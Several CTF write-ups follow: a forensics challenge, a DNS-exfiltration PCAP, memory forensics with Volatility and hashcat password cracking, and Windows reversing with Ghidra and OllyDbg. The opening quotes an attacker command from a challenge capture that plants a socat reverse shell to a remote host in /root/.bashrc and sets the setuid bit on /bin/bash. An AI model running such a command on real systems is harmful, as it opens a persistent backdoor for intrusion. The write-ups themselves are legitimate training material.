<figure><img src="/files/3isIEosWg5557PzhBcGZ" alt=""><figcaption></figcaption></figure>

As you can see in blue the attacker is doing some very suspicious commands that would definitely catch the attention of anyone monitoring this system. There's a particularly long command at the end though where the attacker runs:

```
socat TCP:192.168.1.180:1337 EXEC:sh' > /root/.bashrc && echo "==gC9FSI5tGMwA3cfRjd0o2Xz0GNjNjYfR3c1p2Xn5WMyBXNfRjd0o2eCRFS" | rev > /dev/null && chmod +s /bin/bash
ls -lha
```

This contains a base64 encoded, and then reversed, payload of some sort. Pasting it into Cyberchef and decoding it shows us the flag.

PWNED


# Forensics - Trick or Breach

2022 HTB HackTheBoo CTF - Forensics - Trick or Breach Writeup

For this challenge we started with a PCAP. Now this PCAP was pretty small and also only contained DNS traffic... weird. To the inexperienced eye this might seem normal but over the past few years attackers have gotten clever and have used DNS for sending and receiving data and commands. This looks like a classic case of this.

<figure><img src="/files/LD1TWu2DDTWwuy5aB7UW" alt=""><figcaption><p>The contents of the PCAP</p></figcaption></figure>

To extract the data, which is split up into short stings and placed as the subdomain of pumpkincorp.com, we will need to automate the process. To do this I created a small python script, linked [here](https://github.com/gsmith257-cyber/RandomTools/blob/main/dnsExfilPcapParser.py), that extracted each subdomain and linked them all together into one string and printed it out. this allowed me to just copy and paste the data into Cyberchef where, after playing with it for a minute, I realized it was hex. After converting all the hex to data I extracted it as a .dat file and ran the Linux 'file' command on it to see what it actually is.

Linux said it was a MS Excel file, interesting. Taking that hex data I created a new file in HxD on my Windows machine and pasted the hex in and saved it as an .xls file.&#x20;

<figure><img src="/files/GwlwX30FIWuKPghDzIfx" alt=""><figcaption><p>Pasting the hex into HxD</p></figcaption></figure>

Trying to open that with Excel didn't work so I changed the extension to .xlsx and boom, it opened! Once you opened the file you could see the flag right there, as seen in this photo:

<figure><img src="/files/bnBnYXf8TjBT5oNVYhsp" alt=""><figcaption></figcaption></figure>


# US Cyber Combine Challenge Writeups


# Forensics - Secret Password Stash

Secret Password Stash Forensics Challenge

### Prompt:

{% code overflow="wrap" %}

```
I've created the best system for storing all my top-secret information. Hackers can't steal my secrets if I store them in a virtual machine, right? Unfortunately, I accidentally deleted the virtual machine. Oops! Luckily, I saved a memory capture. Can you help me recover my lost passwords?

The flag will be in format - uCTF{flag}
```

{% endcode %}

***

Started off this challenge by downloading the 7z file for the challenge. After unzipping it I was able to see it was a memory dump.

I started off by putting the dump into winDBG and running analyze on it and saw it was a Windows 7 x64 image. This turned out to help a lot because when I moved onto analyze the file in Volatility and ran:

{% code overflow="wrap" %}

```
.\volatility_2.6_win64_standalone.exe -f "C:\Users\Grant Smith\Downloads\memory\memory.dmp" imageinfo
```

{% endcode %}

I was given Windows 8 and 10 profiles, along with windows server ones, as recommended profiles.

This was incorrect though and I was confused for a little trying to get the pslist but after a looking back I was able to see where I had gone wrong and got the complete process list with the Win7SP0x64 profile:

{% code overflow="wrap" %}

```
.\volatility_2.6_win64_standalone.exe -f "C:\Users\Grant Smith\Downloads\memory\memory.dmp" --profile=Win7SP0x64 pslist
```

{% endcode %}

Looking through the processes I could see two that stood out to me. pwsafe.exe and notepad.exe

Based on the prompt for the challenge I immediately dug into pwsafe.exe and dumped it:

{% code overflow="wrap" %}

```
.\volatility_2.6_win64_standalone.exe -f "C:\Users\Grant Smith\Downloads\memory\memory.dmp" --profile=Win7SP0x64 memdump --dump-dir=.\ -p 2948
```

{% endcode %}

From here I found references to the psafe3 file that would contain the password (flag) we are looking for. Great! I went ahead and dumped this file:

{% code overflow="wrap" %}

```
.\volatility_2.6_win64_standalone.exe -f "C:\Users\Grant Smith\Downloads\memory\memory.dmp" --profile=Win7SP0x64 filescan | findstr psafe3
```

{% endcode %}

{% code overflow="wrap" %}

```
.\volatility_2.6_win64_standalone.exe -f "C:\Users\Grant Smith\Downloads\memory\memory.dmp" --profile=Win7SP0x64 dumpfiles -Q 0x000000003e1745d0 --dump-dir .\
```

{% endcode %}

Now that we have the file we have to decrypt it. Easy enough with hashcat mode 5200. Unfortunately this password wasn't in rockyou...

Hmm. What can we do from here? Well, I went to sleep.

The following day I took a quick look at this challenge again and within 10 minutes I had solved it. It was so simple I had just stepped over it.

To start I dumped the notepad.exe process and ran some strings on it with grep for anything with the '/admin' in it, along with showing the 10 lines before and after the hit.

After skimming through this I saw something weird. A file that was open and the text in it:

```
C:\Users\admin\Desktop\note_to_self.txt
thequickbrownfoxjumpedoverthelazydog
```

Hm. Lets dump this file and make sure that's all that's in it:

```
C:\Users\Grant Smith\Desktop\volatility_2.6_win64_standalone>.\volatility_2.6_win64_standalone.exe -f "C:\Users\Grant Smith\Downloads\memory\memory.dmp" --profile=Win7SP0x64 filescan | findstr note_to_self
    Volatility Foundation Volatility Framework 2.6
    0x000000003e054f20      2      0 RW-rw- \Device\HarddiskVolume2\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\note_to_self.lnk
    0x000000003fc6c180     16      0 RW-rw- \Device\HarddiskVolume2\Users\admin\Desktop\note_to_self.txt
```

{% code overflow="wrap" %}

```
.\volatility_2.6_win64_standalone.exe -f "C:\Users\Grant Smith\Downloads\memory\memory.dmp" --profile=Win7SP0x64 dumpfiles -Q 0x000000003fc6c180 --dump-dir .\
```

{% endcode %}

Now I was able to confirm the contents and I immediately added it to the beginning of a short wordlist I had and saw hashcat had recovered 1/1. Lets goooo!

```
.\hashcat64.exe -m 5200 "C:\Users\Grant Smith\Desktop\volatility_2.6_win64_standalone\file.None.0xfffffa8002c10ac0.dat" "C:\Users\Grant Smith\Desktop\tmp.txt" --force
```

With the known working password I now downloaded the 'password safe' tool and decrypted the psafe3 file and got the flag!

```
uCTF{...pa$$word}
```


# Reversing - Windows Easy/Medium + Some Hard

Reverse Engineering Windows Easy and Medium Challenges and a little of the hard one

I am not the best when it comes to reverse engineering and binary exploitation so this and next week will be a bit rough. But, I did solve the easy and the medium challenges for RE this week, struggled a bit too much with the hard and ran out of time available with work.

### Windows Easy

To start we get a Windows executable (.exe) file. I started by downloading it and opening it up in Ghidra. From here we can find the main function by going to the 'entry' section in exports on the symbol tree in Ghidra and finding the function just before the exit call.

<figure><img src="/files/G26dhR2vJKIf2W4cS2st" alt=""><figcaption><p>Highlighted is the main function line (Renamed for easy navigation)</p></figcaption></figure>

Now that we had the main function we could dig in and see what was going on under the hood.

<figure><img src="/files/QDwNdk86jofJHCRftivs" alt=""><figcaption><p>Main function (renamed functions and variables for easy reading)</p></figcaption></figure>

Upon entering the function we can see what looks like, and are, print functions. Along with those we can see what looks like a check to see if enough arguments are passed to run the next section (line 9). Following this check we have a function that takes in the user input and checks if it is the password/flag (We will get into that function in a minute). If the check fails it prints "You are not leet enough" and if it passes it will print "You achieved level 2!".

Now lets go through that checkPassword function and see how I knew it was a check, outside of the context clues.

<figure><img src="/files/wAYQTsSKtvUdThI3OFh7" alt=""><figcaption><p>Check Password Function (Some variables renamed for reading)</p></figcaption></figure>

Looking through we can see what looks to be hex characters for "flag" but its missing parts of it (come on Ghidra!) and then a string compare (line 55) checking the user supplied password/flag to the one in memory.

Now, to find this password we can easily get it by using a debugger like ollydbg, and that's what I did.

<figure><img src="/files/lZWZn65dvno1Za7YUUn8" alt=""><figcaption><p>Address to set breakpoint to see the flag</p></figcaption></figure>

Above you can see the address (004012e2) that I chose to set the breakpoint at so that I could view what two strings are being compared (the user supplied flag and the actual flag) so that I can just snatch the actual flag.

<figure><img src="/files/0z69n9GCIxM6vuvMiQVp" alt=""><figcaption><p>Setting breakpoint in Ollydbg</p></figcaption></figure>

Now with the breakpoint set I hit run and it paused right where I wanted...

<figure><img src="/files/HWp2sWhk3GxBrBqARnZA" alt=""><figcaption><p>The flag!</p></figcaption></figure>

And we have the flag in memory! Easy win!

### Medium

Now we get to a little more difficult (not really though because we used a debugger on the last one)

Everything started out the exact same really with finding the main function and renaming everything to what it does.

<figure><img src="/files/DFfDNyi58DUDrKIPyCt7" alt=""><figcaption><p>The medium main function</p></figcaption></figure>

I noticed the only real difference was how the password checking function worked.

<figure><img src="/files/N3kNwis8Q7a30dWEmEf7" alt=""><figcaption><p>Password check function (Renamed functions and variables for reading)</p></figcaption></figure>

I decided to try to just solve it the same way I had last time and loaded it into Ollydbg and, when setting a breakpoint on the string compare on (line 107), I didn't see the flag show up as a pointer to ascii text for the flag. This had me confused for a bit until I realized I needed to enable the ascii dump feature and then the flag was revealed in memory there.

<figure><img src="/files/giSvgHYsVfdoYSKJYWIT" alt=""><figcaption><p>Finding the flag in Ollydbg</p></figcaption></figure>

### Hard

Ok so I did not finish the hard challenge but I wanted to showcase where I got to when slamming my head against the wall.

It started the same as the last two challenges but with some minor changes to the main function.

<figure><img src="/files/iKu3qIaaVr5GcWMbLcap" alt=""><figcaption><p>Hard challenge main function (Renamed functions and variables for reading)</p></figcaption></figure>

We can see there is now a function checking for debuggers at runtime. I knew this because when exploring it we could see strings for "ollydbg.exe" and "immunitydebugger.exe" that were being checked against the current process list and if there's a match it exits.

To bypass this I renamed ollydbg.exe to ollydb.exe. Easy win. Now that we can get passed that function we need to see how it is checking the user supplied password.

Looking at the next function we can see that it is XORing the user supplied password and then comes the password checking function which is checking the now XORd user supplied flag against the XORd flag.

Now, my theory was that if I could manipulate which memory location was passed to the XOR function I could get it to XOR the already XORd flag and it would come out ascii. Well I either am getting the memory location wrong for the flag, which I am 99% im not, or it is doing something more complex than an XOR that I am missing. I guess I won't know until someone explains it to me later on.


